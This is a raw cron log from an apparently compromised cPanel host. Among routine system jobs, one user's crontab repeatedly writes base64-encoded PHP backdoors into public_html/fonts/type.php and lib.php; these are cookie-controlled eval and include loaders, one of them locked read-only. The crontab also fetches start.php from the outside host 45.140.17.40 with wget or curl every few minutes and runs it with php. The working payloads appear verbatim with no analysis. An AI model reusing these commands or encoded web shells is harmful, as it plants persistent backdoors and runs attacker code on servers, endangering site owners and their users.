Sep 20 21:36:01 ip-184-168-122-23 CROND[12929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:36:01 ip-184-168-122-23 CROND[12932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:36:01 ip-184-168-122-23 CROND[12931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:37:01 ip-184-168-122-23 CROND[13013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:37:01 ip-184-168-122-23 CROND[13016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:37:01 ip-184-168-122-23 CROND[13017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:37:01 ip-184-168-122-23 CROND[13018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:38:01 ip-184-168-122-23 CROND[13201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:38:01 ip-184-168-122-23 CROND[13204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:38:01 ip-184-168-122-23 CROND[13205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:38:01 ip-184-168-122-23 CROND[13203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:38:01 ip-184-168-122-23 CROND[13206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:39:01 ip-184-168-122-23 CROND[13288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:39:01 ip-184-168-122-23 CROND[13291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:39:01 ip-184-168-122-23 CROND[13292]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 21:39:01 ip-184-168-122-23 CROND[13293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:39:01 ip-184-168-122-23 CROND[13290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:40:01 ip-184-168-122-23 CROND[13381]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 21:40:01 ip-184-168-122-23 CROND[13386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:40:01 ip-184-168-122-23 CROND[13384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:40:01 ip-184-168-122-23 CROND[13385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:40:01 ip-184-168-122-23 CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:40:01 ip-184-168-122-23 CROND[13389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:40:01 ip-184-168-122-23 CROND[13396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:40:01 ip-184-168-122-23 CROND[13395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:41:01 ip-184-168-122-23 CROND[13497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:41:01 ip-184-168-122-23 CROND[13499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:41:01 ip-184-168-122-23 CROND[13498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:41:01 ip-184-168-122-23 CROND[13500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:42:01 ip-184-168-122-23 CROND[13578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:42:01 ip-184-168-122-23 CROND[13580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:42:01 ip-184-168-122-23 CROND[13581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:42:01 ip-184-168-122-23 CROND[13582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:42:01 ip-184-168-122-23 CROND[13584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:43:01 ip-184-168-122-23 CROND[13664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:43:01 ip-184-168-122-23 CROND[13667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:43:01 ip-184-168-122-23 CROND[13666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:43:01 ip-184-168-122-23 CROND[13668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:44:01 ip-184-168-122-23 CROND[13746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:44:01 ip-184-168-122-23 CROND[13750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:44:01 ip-184-168-122-23 CROND[13751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:44:01 ip-184-168-122-23 CROND[13748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:44:01 ip-184-168-122-23 CROND[13749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:45:01 ip-184-168-122-23 CROND[13937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:45:01 ip-184-168-122-23 CROND[13940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 21:45:01 ip-184-168-122-23 CROND[13944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:45:01 ip-184-168-122-23 CROND[13942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:45:01 ip-184-168-122-23 CROND[13943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 21:45:01 ip-184-168-122-23 CROND[13939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:46:01 ip-184-168-122-23 CROND[14037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:46:02 ip-184-168-122-23 CROND[14039]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 21:46:02 ip-184-168-122-23 CROND[14045]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 21:46:02 ip-184-168-122-23 CROND[14041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:46:02 ip-184-168-122-23 CROND[14046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:46:02 ip-184-168-122-23 CROND[14042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 21:46:02 ip-184-168-122-23 CROND[14043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:47:01 ip-184-168-122-23 CROND[14130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 21:47:01 ip-184-168-122-23 CROND[14131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:47:01 ip-184-168-122-23 CROND[14132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:47:01 ip-184-168-122-23 CROND[14133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 21:48:01 ip-184-168-122-23 CROND[14207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 21:48:01 ip-184-168-122-23 CROND[14209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 21:48:01 ip-184-168-122-23 CROND[14210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
